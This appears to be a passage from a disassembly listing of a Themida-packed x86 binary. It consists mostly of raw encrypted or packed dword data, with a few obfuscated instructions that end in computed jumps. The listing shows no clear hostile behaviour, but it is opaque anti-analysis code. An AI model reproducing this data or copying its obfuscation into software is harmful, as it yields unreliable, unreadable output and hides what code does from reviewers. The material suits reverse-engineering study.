		dd 0F73D9B1Ah, 3278D051h, 8F10AEF4h, 0CA4DF339h, 4862C72h
		dd 40BE64AAh, 0DD69A0E6h, 0F7E94A99h, 0E3F9021h, 0AE419715h
		dd 173B8128h, 50A51B6h,	0C0220615h, 5ACE78BCh, 0A20C21F2h
		dd 0DE38B65Ch, 452BA74Bh, 0ADC6FC5h, 0E6AD51Eh,	49AB15DEh
		dd 37BD4663h, 4A8A973h,	51375BADh, 111577CDh, 0D731AF95h
		dd 44107244h, 0D8198382h, 0E3F03470h, 0E7D436A2h, 21072B7Dh
		dd 59FF45A3h, 64EA7DDBh, 175B7F45h, 0D22174D1h,	82DC5E44h
		dd 96BB1DEFh, 0A422082Ch, 0D856FC42h, 0A6F95A7Eh, 1F76B83Ch
		dd 0AC377B9Fh, 2ECA5EB0h, 69EF62C4h, 0DA567A40h, 0B0C91A5Eh
		dd 0A711CA5Eh, 0AFB37945h, 0DF49CC4Ch, 0DBB47386h, 0E3D0D3E1h
		dd 10ACh, 70B6128Fh, 0AAF046CAh, 0E82E8404h, 1F65C342h
		dd 5AA0F879h, 0B738861Ch, 0F2751B61h, 2CAE549Ah, 68E68CD2h
		dd 591C80Eh, 0F7EE32C1h, 3667B821h, 266A9415h, 27E032DDh
		dd 3D61B31Dh, 0E97CD457h, 718FB517h, 3BFDCB38h,	2214F583h
		dd 42C6ACD0h, 42868AECh, 21F29E10h, 0CFDD70DAh,	12E12551h
		dd 0D8DE0E51h, 12F81C6Eh, 0B1D7398Fh, 982B8D0Bh, 1259712h
		dd 1C5167BDh, 89B05D8h,	50C4AB85h, 0FC8FE96Ah, 0DC5AC82Ah
		dd 9316347Ah, 9BC90D31h, 82D22E75h, 31C41A9Ch, 6ED8FD5Fh
		dd 0F94FCDDBh, 6147BB66h, 24F689DFh, 53C7A8C2h,	295EB6Dh
		dd 0C1E8CE30h, 755BD7FBh, 6C389AF2h, 0CC3828C6h, 0AE549A04h
		dd 0D743D630h, 0C0583808h, 6045A6B2h, 0F78F6F6h, 30880795h
		dd 0FDF3B4CEh, 8905297Fh, 5842BE45h, 70D23CC0h,	0D026A44Ah
		dd 0E7EC30ACh, 0E3C05842h, 1EA41779h, 0D115398Bh, 0C64A6DAFh
		dd 0CA28A88Eh, 0DE036537h, 79202E74h, 3A5E6445h, 51A4A8F6h
		dd 85C02AC0h, 57EA46C7h, 6E581CEBh, 368C1DFCh, 8E20CE12h
		dd 78E2FA79h, 185CD854h, 0F296A6CBh, 0D543A50Fh, 7FBB0157h
		dd 5DBF1599h, 841771EFh, 429BF576h, 0D3014325h,	59AD9A9Dh
		dd 3C00000Fh, 7D2369BFh, 0B75DA3F9h, 0F59BE137h, 32D81E76h
		dd 0D31157B1h, 0E6AEBCFh, 499F22C8h, 85DB5D03h,	0BD1B993Fh
		dd 70B44077h, 21F7EF63h, 15E51667h, 50F63C94h, 0EF5074D2h
		dd 0B9B4B0DEh, 0FF72D4C9h, 821573F1h, 79AF074h,	8A1D7BF9h
		dd 0FA2F87Ch, 0AA8D0F3Dh, 0AE91B310h, 0AEF452D0h, 0E5ADD652h
		dd 14EB454h, 151B0000h,	0A0AE4197h, 607EC422h, 0B4F7349h
		dd 21F21DFDh, 960295FFh, 0DE0DE349h, 0C5452BA7h, 0A80ADC6Fh
		dd 0A11DA98Eh, 7D5AF825h, 38h, 18997FE4h, 0F95B2DC0h, 249613h
		dd 0F2137ABCh, 6A8EF821h, 1CAF0584h, 975E84Ah, 0DE0DEDFEh
		dd 33A7881Ah, 0ED6073B7h, 6ADE0Dh, 1BFE7A9Eh, 0C1DC5AF8h
		dd 43000000h, 0AE419715h, 36C91FA0h, 0B94CAA28h, 52AE2F15h
		dd 0E15FEDBFh, 39B72587h, 775D99DFh, 0A66AE5F4h, 0AF28A62Ch
		dd 96F8CA5Dh, 0E065F6CAh, 67C13F27h, 14A60321h,	0D655ACF0h
		dd 0D53621F4h, 52D45387h, 0DE1FF3FCh, 8F4D96DAh, 238DDE0Bh
		dd 0E04A6FD1h, 0D95A40BCh, 2EAF1D7Fh, 65E68CD2h, 6A8BB20Bh
		dd 6063FF9Ch, 0E2373h, 2F890600h, 69BF43E9h, 0A7FD7D23h
		dd 0DC3CBB61h, 196FF096h, 0B10D95D3h, 0EC92D830h, 27CD1369h
		dd 5F054BA5h, 0A4187E1h, 0EDA93A7Eh, 0E03121F7h, 3C9415AFh
		dd 56D4BAF6h, 3219EA2Eh, 77E127E0h, 0AAEE9225h,	27E03259h
		dd 83E537A1h, 0B98A9715h, 529CC5BAh, 6881C719h,	0AE419715h
		dd 7EC422A0h, 82D85C42h, 891C72F4h, 69E755B7h, 0B3F67C0Fh
		dd 8BA9ED11h, 7121F211h, 6B3CC107h, 73000007h, 0A93C9415h
		dd 99B1F05h, 4AD82A8Ah,	7D96CCAh, 320ED9A5h, 9E0B27E0h
		dd 2B4F81Ch, 0D021F7E4h, 82C64266h, 0DE081871h,	0A9AD0F79h
		dd 9DE345C3h, 8C1F79F7h, 4AA3FD7Eh, 0FF9FFD29h,	6101EEF1h
		dd 4400000Dh, 852B71C7h, 0BF65AB01h, 0FDA3E93Fh, 3AE0267Eh
		dd 0DB195FB9h, 1672F3C7h, 51A72AD0h, 8DE3650Bh,	0C523A147h
		dd 78BC487Fh, 21F7ED6Bh, 15ED1E6Fh, 0BAF63C94h,	6BFE54D4h
		dd 4BC93799h, 320CD71Bh, 64CE27E0h, 0A8FA54D6h,	0C41A9E84h
		dd 8AFD5F31h, 15A8FE7Ch, 5B511638h, 2DBF3FDDh
		dd 0EEC053A9h, 77FB099Ch, 6ABC8E21h, 0FA76D218h, 0D854E5FAh
		dd 0Dh,	38DDB73Fh, 259227E0h, 0FFFFFDEFh, 3228B75Ch, 0C0E927E0h
		dd 165AD6FAh, 27E032CDh, 9315A30Dh, 93D7DB3Dh, 21F7E475h
		dd 563A77D8h, 852D120h,	77D92B89h, 1B28AC52h, 0F9947ECEh
		dd 0B002548Ah, 2B482B8Ch, 0E2177716h, 84007C80h, 84AB340h
		dd 0A11637DEh, 0F6A4F5CEh, 4FBD1F71h, 8B3177D1h, 0A18AB0Dh
		dd 0ABD62F89h, 2BFF9FF2h, 0C7A3B28h, 0E05D0000h, 189C4288h
		dd 56D67CC2h, 9514BA00h, 0D253F93Fh, 0B0F23076h, 0E92F890Ah
		dd 2268C043h, 5EA4FA7Ch, 96DC3AB8h, 448FD35Fh, 8621F7D2h
		dd 97150435h, 0B4371D41h, 7987FA5Ch, 2D0A9DFBh,	0C846240Bh
		dd 50CC286Eh, 2E54E5FAh, 0Dh, 38DDB795h, 259227E0h, 0FFFFFD2Fh
		dd 0B60C9D5Ch, 3C684E92h, 0C02A21F2h, 0C337C12Dh, 57D3DE0Dh
		dd 0C34C97DBh, 6D8EDE0Dh, 0B4F99E27h, 0AD0F61D9h, 9C18AC93h
		dd 0DD5AF8B4h, 44876F7h, 0DE0D78FFh, 0AC3F91FBh, 8D1178DAh
		dd 55000001h, 295EB6Fh,	0C422A230h, 18B78162h, 0CD27E032h
		dd 3C9A184Eh, 74D250F6h, 320275E1h, 38727E0h, 8A0C1AADh
		dd 0A2C4A134h, 3E181BDDh, 67058379h, 6EF78AE6h,	5AEC1D16h
		dd 3F91E3E4h, 0EBCDDBF9h, 6ACC4A58h, 0A6007E24h, 4528A713h
		dd 962827E0h, 0C7E445D1h, 0A5EA9701h, 65E10567h, 4154E51Eh
		dd 128h, 861E9F85h, 481AAD03h, 15B394F6h, 0AAE4197h, 8E0EA024h
		dd 81D3A538h, 4CBA1CEEh, 143278CEh, 0C70B2F95h,	21F21D39h
		dd 59715BBh, 4CDF3187h,	2995287Ah, 0DE0DE3DEh, 61F454D3h
		dd 0E275D353h, 2BCDB234h, 0F98D7204h, 5AF8257Dh, 2759h
		dd 0C9DC000h, 0C84E92B6h, 8A21F213h, 0D6218D20h, 32DE0DECh
		dd 0F84ED0B6h, 17319365h, 1D28A450h, 97065AF8h,	6D000000h
		dd 0AE419715h, 36C91FA0h, 0B94CAA28h, 0B5F92DABh, 27E0322Eh
		dd 0AAF042ACh, 0E02A0AA6h, 8725A327h, 0D1A2AB05h, 0A1108D6Eh
		dd 6785CB1Dh, 765C8042h, 36089BF5h, 358CD0D4h, 0F5DE0B43h
		dd 381678Bh, 0B24012A5h, 7446D92Fh, 0A7280E12h,	0E4650B51h
		dd 0E66C338Ch, 104FF9Ch, 0AA714h, 0AB0D8A00h, 0E53BBF65h
		dd 1B79F99Fh, 58B02FD5h, 95EB6C12h, 2D91114Fh, 680E54ACh
		dd 0A3498FE5h, 0DB81C721h, 7EB5FB5Dh, 0D025AEF2h, 54A521F7h
		dd 3C941523h, 74D250F6h, 9715152Eh, 0A90AAE41h,	0E442E7Ah
		dd 0B72587BCh, 0C820A339h, 1BAB3076h, 0E2000004h, 18912DADh
		dd 0EF3A7EA2h, 6F21F7E4h, 1576CA05h, 6BAF0994h,	0DE085E98h
		dd 33EFF862h, 785EC01Eh, 81678B31h, 3C40A202h, 1AAC26F8h
		dd 0B74AB4D8h, 3653BC4Bh, 0E5CA5CD4h, 0AF098B71h, 95AD294Dh
		dd 9489610Fh, 0F0000003h, 0E03228B7h, 32FB0327h, 654427E0h
		dd 0DF73B5Fh, 0CF21F22Fh, 0BFBF6EAEh, 7F51E43Ch, 7090A576h
		dd 24CCC51Eh, 494CFF9Ah, 9DF5Ch, 0E345C200h, 1D73F79Dh
		dd 53B131D7h, 90E8670Dh, 0CD23A44Ah, 65594987h,	0A0468CE4h
		dd 0DB81C71Dh, 13B9FF59h, 0B6ED3395h, 0D11DE62Ah, 8CDD21F7h
		dd 1B997F5Bh, 0F6582ABDh, 19AC0A88h, 80A41693h,	3233C004h
		dd 4DB727E0h, 11A3E7EBh, 0DB21F7E4h, 9EF2B71h, 0E7CD2F85h
		dd 98DC00C2h, 0D81FCE06h, 60466AD4h, 3D4187DDh,	0D430679Ah
		dd 0EC701697h, 0BF204496h, 388B50D5h, 759BFD72h, 75D35339h
		dd 68C60D51h, 9A04D430h, 0F147CA38h, 74D2505Eh,	6C4E5BE1h
		dd 7CA60448h, 0AE54D222h, 2982D42Ah, 0EBC99152h, 350AF7FAh
		dd 18000009h, 51F73D9Bh, 8B3177CDh, 0C167AD0Bh,	0F69CE242h
		dd 97D51B75h, 0D22EAF0Bh, 0D63E68Ch, 499F21C7h,	89DF5D03h
		dd 3C800C43h, 21F7D1B7h, 7FB1E233h, 59BB1999h, 60843673h
		dd 0F7E49A1Ch, 0CAEE5821h, 0E70B61E4h, 0C1238101h, 1A72F59Bh
		dd 329010F6h, 0B212919Fh, 58BFE60h, 14FA1EA4h, 0D5A73A90h
		dd 992B6F73h, 63D81FCEh, 61C266F9h, 0B0233A4Dh,	849CA541h
		dd 30C5DA03h, 0A108EE50h, 0FF7BF71Bh, 306E28BBh, 6091B2D4h
		dd 8D5FEF4h, 0C08CEE40h, 0D2227CE2h, 3363E288h,	5E7BE4EFh
		dd 2A7CE6CAh, 1A73C597h, 0EBC99E57h, 851F0C0Fh,	68000008h
		dd 0A1478DEBh, 0DB81C71Dh, 11B7FD5Bh, 46EC3292h, 0E7256BC5h
		dd 227EFFBBh, 5DB336DCh, 99EF7117h, 0D92FAD53h,	8CD05C93h
		dd 21F7D647h, 15013283h, 0D82B6F97h, 2227E032h,	0C5D366B8h
		dd 815EF147h, 24A2985Fh, 3227ACF0h, 39A327E0h, 0E462C3E7h
		dd 5634BA37h, 0F94BA125h, 99157197h, 0D854E541h, 57DA70F2h
		dd 4A1CAF01h, 19D81E8h,	9DE80000h, 0AC92B60Ch, 34BF032Bh
		dd 0B627E032h, 9498FA4Ch, 0F21F3650h, 0F78AF421h, 57E96D53h
		dd 17E97CD4h, 489763C5h, 0A8DE0DE0h, 29A55116h,	55AF825h
		dd 167h, 4197156Ch, 0C422A0AEh,	7349607Eh, 1DFD0B4Fh, 95FF21F2h
		dd 0E3499602h, 15A7DE0Dh, 262AA652h, 47085AF8h,	6F000000h
		dd 9D1D037Fh, 32885B47h, 0E85227E0h, 7709A086h,	294D9FF9h
		dd 0F21353E5h, 0F87B2121h, 0AE2A4EA0h, 0DED996Ah, 95F761DEh
		dd 16987E22h, 45925EC0h, 0A3DE0DECh, 1E9A2E11h,	5F5AF81Dh
		dd 3B9DFB79h, 0C4D4h, 997F3B00h, 0EB59BB19h, 6BE70B6Dh
		dd 3258ABEFh, 38A227E0h, 0E032874Ch, 1C9D4327h,	9D1072C4h
		dd 0F5760E8Fh, 0A8B6499Bh, 9539CC2Ah, 45D830AFh, 25A31173h
		dd 55797DC3h, 5E27E02Eh, 0DC86CFE0h, 0F7105C5Ch, 1F4620B3h
		dd 0EE40AAD8h, 1492789Ch, 377B1FB2h, 0D81F46ACh, 1072C42Eh
		dd 0C94DAEEAh, 0B8B99F1Dh, 4B5E44A6h, 0F3D95579h, 0B1831672h
		dd 0BB02834Fh, 82ECDE0Bh, 0A1F7785Eh, 0DC34B55Bh, 9DAE3483h
		dd 7C696CFFh, 6E8h, 0A4EA4ECBh,	0DE247AFEh, 145AB838h
		dd 5399EF6Eh, 8ED42CADh, 0EB6C5250h, 26A94F95h,	60E288CEh
		dd 9C1AC006h, 31BDF43Ah, 0F7D4E6EDh, 6293E421h,	0F63C9415h
		dd 2E74D250h, 15997F15h, 71EF5DBFh, 0F8768417h,	0A01C589Eh
		dd 0E032975Ch, 0D3175327h, 27E03200h, 0AC0E60CAh, 515Fh
		dd 41127300h, 6F4A1D4Eh, 7C36BD01h, 4AB427E0h, 0ADB596F8h
		dd 22EBBEFEh, 860AC4D3h, 0C2CB9D30h, 0C2146181h, 0B7CE5A9Eh
		dd 269021F7h, 0E9B7C5EBh, 4EDA296Dh, 0B620DE08h, 0D23B6E54h
		dd 9DDE5F00h, 92B608A4h, 1FDCC54Eh, 0E01B85D8h,	7443h
		dd 0C9D7A00h, 284E92B6h, 0EA21F21Dh, 5FB981C9h,	0D8D4ED1Eh
		dd 4C307E1Ch, 23678BDDh, 0DE0D02D0h, 0CB5EB01Ah, 0F2ED6F5Fh
		dd 0D6BCA821h, 93D7FB55h, 0DE0D7240h, 0A4BE208Ah, 523475C3h
		dd 10E275D3h, 381E9ABEh, 33FF61B7h, 0D81F5D0Dh,	0A33074F0h
		dd 63D43B22h, 1FD1927h,	8DC90E3Fh, 3B90BA49h, 84D640D4h
		dd 4D93FD22h, 0BDC8h, 74F6DC00h, 53B5871Ah, 0BF037F72h
		dd 27E03234h, 4EA4CB6h,	0B7FB1FA5h, 21F7E469h, 0C97581EBh
		dd 468DD14Dh, 84DE0818h, 18A52E1Ah, 5EDCDE08h, 5EA37508h
		dd 8CDE34B8h, 3226542Ah, 37B34728h, 135AFDD1h, 6Ah, 4C97DB57h
		dd 8EDE0814h, 7E1167E8h, 17F85AACh, 92B60C9Dh, 0F7E4C34Eh
		dd 0D198321h, 636DED8Fh, 0D16CE89Ch, 0C7AD5AFDh, 8759EC44h
		dd 38BE25h, 9D250000h, 53A0E40Ch, 9727E032h, 73B7DB2Dh
		dd 21F7E427h, 0B5333FA9h, 0DCED6F87h, 0C6F29F3Ch, 6E0153BBh
		dd 0F083E160h, 0AAC936Dh, 25D196A0h, 5AFD1EA9h,	0D85h
		dd 0FDB7EC00h, 7227E029h, 0FFFED905h, 0C9D3CFFh, 944E92B6h
		dd 5621F7E4h, 57778135h
		dd 3F8350F8h, 0DE08F1B4h, 287ACC36h, 289A0F95h,	2773C004h
		dd 8DF7D81Fh, 8F3574FAh, 0AE06856Bh, 0E204484Ch, 10D22709h
		dd 189C82A6h, 4B5E7CC2h, 8F115579h, 4DCC4EF3h, 57D9BFE3h
		dd 1E7FBB01h, 1621834Dh, 0D19DFF1Ah, 5867E433h,	0A10232B0h
		dd 0CCA8294h, 569D8953h, 94689A08h, 0C41670EEh,	56C888BBh
		dd 0F612EF4h, 43A523C9h, 3D7F2AB0h, 8A599D19h, 50689A7Fh
		dd 48084E6h, 0B7B966A3h, 0DCD8E137h, 0D1153989h, 689AC702h
		dd 30FC5EC8h, 6E88C7F2h, 6D7B0E78h, 0F50396EEh,	0DE8C1F75h
		dd 24A59B5Ch, 156739CCh, 0E3773812h, 5F680382h,	83E5C078h
		dd 0FB419715h, 0EA7DD355h, 7D86CA46h, 7D6E887Eh, 58ABEF13h
		dd 0A26E887Eh, 0E468D638h, 6DEDFB8Eh, 0F5768417h, 76FA089Bh
		dd 846BF520h, 4D32B4E2h, 1672F3D9h, 6AC446B4h, 88DE6046h
		dd 0D85A0026h, 325AACC7h, 58AABC9Fh, 0BB3B21C5h, 0E226CA5Dh
		dd 6E88ED11h, 0BB1D6FD9h, 5F2155E5h, 0C620A298h, 119D6780h
		dd 941220B3h, 6AF49F32h, 457F2F85h, 41DB59FFh, 0ED1163C1h
		dd 0D134BD8Ch, 53B51660h, 0A252E967h, 2432C523h, 0DEBB4EA4h
		dd 2B6FFBBCh, 27E04BD8h, 1966B822h, 9C1A10D7h, 0AE30163Ah
		dd 91F3C558h, 0DE34B876h, 56D4BAh, 34BF2B9Eh, 0F827E04Bh
		dd 0DF63591Eh, 1B9D4389h, 128E32C5h, 0E04B05CEh, 0F95BC527h
		dd 0E04BA32Dh, 2F10E227h, 3379CF51h, 0E06BE92Fh, 9F1A5E27h
		dd 0DC54E59Eh, 0BE2076F6h, 0FFFF7957h, 9715BEFFh, 0B6371D41h
		dd 2CD2F85Ah, 364C58AEh, 0A8525EB8h, 62BC3E24h,	819BFDCFh
		dd 0E442C0BEh, 0F16F55A9h, 0D0320497h, 0E5FB30ACh, 5A0E54h
		dd 9D750000h, 4E92B60Ch, 21F7E4C5h, 0E4186485h,	0AE9523DEh
		dd 0A9D2505Ch, 23B60E8Dh, 0AC3F9515h, 1BD14523h, 26143307h
		dd 0ED6D4324h, 0E0320497h, 0F54324BEh, 6EEA0EB4h, 896D92Ah
		dd 0F5FE42DEh, 0F5DE0896h, 7ADC468Bh, 40E13276h, 0FF69D81Fh
		dd 4B27C4h, 553B0000h, 3C1D7FD5h, 92B60C9Dh, 42D52BACh
		dd 32895A9Eh, 0E75127E0h, 0B32F3395h, 0BC452652h, 0F55768CEh
		dd 0F7B79A29h, 0D2F66021h, 4EC11256h, 9F09DE08h, 57D3513Dh
		dd 7EEACDAFh, 5FC11798h, 668A3079h, 1F989122h, 0B4EF59D8h
		dd 41971583h, 0C422A0AEh, 82C6427Eh, 27E03271h,	5F060F79h
		dd 77962330h, 6E3B2183h, 1AE4284Ch, 0D821F287h,	606FDB6Eh
		dd 80DE0E59h, 17D09EEh,	0DD5AF78Ch, 2Ah, 7A0C9D44h, 0FC0A9DFBh
		dd 0C092257Bh, 0B4F81C6Eh, 21F21362h, 87F386F0h, 0DE0DED78h
		dd 95210698h, 5AF81C19h, 0E3F5h, 997F5C00h, 5EA5E919h
		dd 9C27E032h, 107EE032h, 0FDA13492h, 0BDC0E99Ch, 94F647A9h
		dd 0B84BA526h, 0F8E2CAAh, 0C65426B9h, 895BEE48h, 1896A437h
		dd 0DB3C78BEh, 144DCE97h, 733FA1F5h, 27E0E1AFh,	0C60C6AE8h
		dd 2044A220h, 0E33DBEA4h, 41927E50h, 8927E0E1h,	0C44ABD1Fh
		dd 77BBDFE5h, 21F2E3D1h, 3773B923h, 1173D151h, 183C7E2Bh
		dd 79963B9Ch, 8C51014Ch, 0D2E15E2Ah, 57C1D81Ah,	74CC4D33h
		dd 3276F22Eh, 0D439ADA1h, 0EF5DBF29h, 0B9126Eh,	0C8F5AE48h
		dd 19ED8C5h, 4810000h, 34B85EA4h, 72F298DEh, 0A928CE14h
		dd 0DE5F054Bh, 0A4FE3C82h, 0F53B9516h, 2E74CC4Fh, 6AB00688h
		dd 0AAF046C4h, 50A3E773h, 9A21F7D9h, 94151849h,	0D250F63Ch
		dd 0B1EF5074h, 0A3B687EFh, 0C81B5F83h, 1227E0E8h, 72046A8h
		dd 0BD1B997Fh, 8E34755Bh, 1390266Ah, 0F86221F2h, 0ECEEF965h
		dd 25A3DE0Dh, 5AAC0487h, 0DF35B9C7h, 5017A14Ch,	1ADD6F96h
		dd 0F81CF26Eh, 0C5D05Ah, 15370000h, 0A0AE4197h,	0B20A8D1Fh
		dd 3391111Fh, 2A7CCEA0h, 36172B97h, 22A027E0h, 5AD87EC4h
		dd 0C6E369FCh, 0C915DE22h, 0C8CD81Fh, 0B50771B6h, 55991591h
		dd 0D81FC98Eh, 4CF83288h, 60A5B518h, 86C894F6h,	95DE0DD7h
		dd 45349134h, 0B91B6692h, 0A8E42A94h, 9721C147h, 58BA3A5Dh
		dd 61853772h, 1906C31Dh, 93B721D8h, 8A1D2CADh, 0CE29DC0Eh
		dd 0E01C62B4h, 0BA1C7AFAh, 1C75CB4Ch, 0F5AF7AA7h, 9D473437h
		dd 80000000h, 0B95FA503h, 0F399DF35h, 29CF1573h, 5E044AAAh
		dd 0FF3D83DDh, 3A9617A3h, 75CB4EF4h, 0B107892Fh, 0F147C56Bh
		dd 0A4E874ABh, 21F7DE5Fh, 15194A9Bh, 32183C94h,	0F0C255B3h
		dd 44C2688Eh, 15839CE2h, 0A0AE4197h, 0D87EC422h, 10B6FC5Ah
		dd 35A13492h, 709BB451h, 4868C93Dh, 5F9316E4h, 3D021C7Eh
		dd 2167C13Fh, 779BFD7Bh, 7BFE1391h, 0DBC3EF24h,	299CFE50h
		dd 0A93C9C1Bh, 2ABD1B9Bh, 0B3469C1Ch, 0D7915630h, 3735FAD4h
		dd 73195FB9h, 7BD557F5h, 31C416E8h, 344h, 1A8B7B00h, 0AD409815h
		dd 34C7219Fh, 0B74AA426h, 3BCE26A9h, 0C154AC2Dh, 43D632B3h
		dd 0CB5EB635h, 54E73DBDh, 0D96CC246h, 0B466822h, 1C890000h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 52242C89h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 3C895C24h,	0D0685224h
		dd 5A48B470h, 1FC5CA81h, 0BF575ABDh, 43A51B2h, 7F06CF81h
		dd 0F7472BADh, 8FCF81D7h, 81181864h, 0F24337F7h, 5FFA3184h
		dd 545AD589h, 83243C8Bh, 0B95104C4h, 8,	0BB53F901h, 0
; ---------------------------------------------------------------------------
		add	ebx, ecx
		mov	[ebx], ebp
		pop	ebx
		pop	ecx
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		dd 5B558855h, 0BB029B9Ch
; ---------------------------------------------------------------------------
		xor	al, 0C3h


loc_5DA8DA:				; CODE XREF: Themida_:005D926Cj
		mov	eax, 617ED57h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0FA11616Ah, 0EB6ED370h, 0D3238D0Ch, 54623DC9h, 0F7D9586h
		dd 0B058B8BAh, 3F4EBAB6h, 8A51FE76h, 0D231291Ch, 43265445h
		dd 9A52492Ch, 0B85C9AB8h, 0C555307Fh, 8638FBA4h, 492AE2EEh
		dd 643C1342h, 1B671B10h, 42FCDFEh, 0EB23F7AEh, 24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 617EE57h, 0EE9858Bh, 858B0612h
		dd 61225C9h, 0EEA1B58Dh, 858D0617h, 6154CD8h, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 617EEA7h, 0EE9BD83h, 0F010612h, 2C85h
		dd 57B5FF00h, 8B0617EEh, 1225C985h, 27363506h, 0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 17EE5BB5h, 0B5FF5606h, 617EE57h, 25C9858Bh, 36350612h
		dd 0FF348127h, 0CC483D0h, 0EE5BB58Dh, 468B0617h, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 0E9BD8300h, 106120Eh
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	17EE8085h, 11858906h
		dd 0E906122Ah, 0A3h, 23492C65h,	94h, 5,	1, 0A28h, 2, 76726553h
		dd 20656369h, 6B636150h, 3220h,	1Eh dup(0)
		dd 0E9000000h, 0ACFh, 17F18C68h, 90FFE906h, 5168FFFAh
		dd 0E90617F2h, 0FFFA90F5h, 17F34268h, 90EBE906h, 0AA68FFFAh
		dd 0E90617F3h, 0FFFA90E1h, 17F4FD68h, 90D7E906h, 4F68FFFAh
		dd 0E90617F5h, 0FFFA90CDh, 17F84D68h, 90C3E906h, 2168FFFAh
		dd 0E90617F9h, 0FFFA90B9h, 5DAA652Ch, 0FA47C8C4h, 99E62961h
		dd 33808F00h, 0CF1CF39Ah, 7518D6DFh, 0D7B44D9Ah, 3E52EB38h
		dd 0A3EB84D1h, 0F6451F6Ch, 0F74F99EEh, 370DEA4Dh, 0BEF31C72h
		dd 0B77699F5h, 0EB7E91FEh, 458891EEh, 0DF5F4A3Dh, 0C32E3947h
		dd 8C92FC04h, 0EAF549F1h, 0F41B722Bh, 7459ECBFh, 0F18F2F5Ch
		dd 39A8C44Dh, 0AECD7252h, 0B7B93A24h, 8E6E3F78h, 949DEAF2h
		dd 0D3DE4DF1h, 37D3D568h, 25000000h, 1C0A5AEh, 0F17ECDF9h
		dd 0F82D3849h, 0F180ABE0h, 8F800F4Dh, 15FA915Ah, 0D8E0DBB4h
		dd 4DF180AFh, 2156C1CCh, 8F548D79h, 0EF964B67h,	24AEDF97h
		dd 0CE44h, 1C729600h, 0DCB334F3h, 0BC711A4Ch, 0A4CBB043h
		dd 0DD3C1923h, 0A134D480h, 0DD12FD90h, 60957A14h, 0BCC4F797h
		dd 47DFDACBh, 0E6EEADB8h, 47DFDAA1h, 0AD6CD7E2h, 0DAF98E96h
		dd 7F8A47DFh, 907EFECh,	2B47DFD7h, 0C65FAC63h, 0CF8847C8h
		dd 4B1E53BCh, 3D46D3B8h, 49919958h, 8D49F1E0h, 2E62B7D4h
		dd 6ED9ACE1h, 7D0A1239h, 0FE4DF1D3h, 0ADF588F3h, 0A55E55A2h
		dd 0BC9124EBh, 70FCEB3h, 5004767Fh, 833CFB06h, 1FB8050Ah
		dd 0AF22A16Eh, 0A3EDBE9Ch, 87E37FEh, 0ABE60000h, 0E7E1764h
		dd 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h,	754BBD2h
		dd 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh, 9C4DF750h
		dd 1B72E9BFh, 800EA7F4h, 148C428Fh, 0B30B4393h,	0C457A05Dh
		dd 40FFE6EFh, 0F1C58E38h, 0B9EEF949h, 0F1C5EAA1h, 0F4ED094Dh
		dd 0AE98259Dh, 0BF048524h, 0DE7537A5h, 0A6AAAC3Fh, 0FC000000h
		dd 0BEF31C72h, 427798F5h, 0DF5BE62Ah, 917E1047h, 2CE3AB44h
		dd 394E566Dh, 8147DF64h, 0F8CB000Fh, 0DDC25560h, 9B5A4750h
		dd 4FC0CB84h, 7F5E7726h, 4ADDA1D7h, 0F1A8F0EAh,	77C4CF49h
		dd 6524111Ah, 445365Dh,	53121D50h, 0CF1CF39Ah, 39B85736h
		dd 0EDBEAF42h, 0B9440BB0h, 21000007h, 0B9529F70h, 56EF3CD3h
		dd 0F58EDB34h, 8F28759Ah, 0D4C411FEh, 8F800DE1h, 2DE2A942h
		dd 0C64947E0h, 61AEE079h, 0E3EB3A14h, 4DF751A4h, 1424FAD7h
		dd 5F92F5FDh, 0E6F147DFh, 0C44B4253h, 0A1B0DE77h, 45BCDC3Ah
		dd 0B7046FFBh, 9F1C7201h, 3065AAE6h, 5FDAAD5Dh,	9EA947DFh
		dd 1ED7FE33h, 523D9E71h, 75192ABDh, 0E7F04D9Ah,	0CA333BFAh
		dd 0F949F74Ch, 97182FEEh, 209D0459h, 0F0019422h, 3C24719Eh
		dd 4DF727FBh, 0D1F10081h, 0F0340605h, 4F78963Ch, 8518039Ch
		dd 6CB9A6B0h, 8E87F475h, 0AD53076Fh, 0F67B0084h, 8114C0A0h
		dd 0C8D1AA99h, 2D611AD9h, 79DAADE2h, 0F968FB14h, 8DC5DF1h
		dd 4C9DA850h, 0BC9E26Ch, 0A28F98B4h, 13B3DBE3h,	0C7D2DDBFh
		dd 15FC0592h, 8EC74E56h, 0A1ACDFD2h, 0AA6529E2h, 45CAC45Dh
		dd 7273DFC6h, 0C78E337Eh, 6C8h,	61AE6130h, 0FE4BC4C8h
		dd 9DEA2565h, 37848B04h, 0D320EF9Eh, 711CD2E3h,	0D3B8519Eh
		dd 3A56EF3Ch, 9FEF88D5h, 0FA492370h, 0F75295F2h, 3309E64Dh
		dd 1C0A5AEh, 0F74D04F9h, 0DDE5FC49h, 4DF74EAAh,	0F33BCED9h
		dd 0B6759AF2h, 0F74ED9AEh, 349FAA4Dh, 3FD0BC75h, 0DC3359F2h
		dd 5FB0DEA7h, 0AFAA8FE0h, 0D79E43EBh, 660h, 0F946C9C8h
		dd 96E32C60h, 35828DFDh, 0CF1CF39Ch, 6BB85736h,	0D9B43A7Bh
		dd 3B50E936h, 0A2EE87D4h, 787206Dh, 92E1BB08h, 0F752FD8Ah
		dd 0CBA17E4Dh, 0C6669314h, 0CC95F2FAh, 0DBE647DFh, 0F436C0B2h
		dd 0E318F793h, 9FA87D10h, 12EBF3B2h, 3149F82Ah,	0DEAE6726h
		dd 52BDD031h, 48B74A1Dh, 0C310FF8Fh, 0B8775C66h, 0F6920BB0h
		dd 78ADB84Dh, 0F6922E60h, 1BFE904Dh, 0FD329D72h, 0A2FB5634h
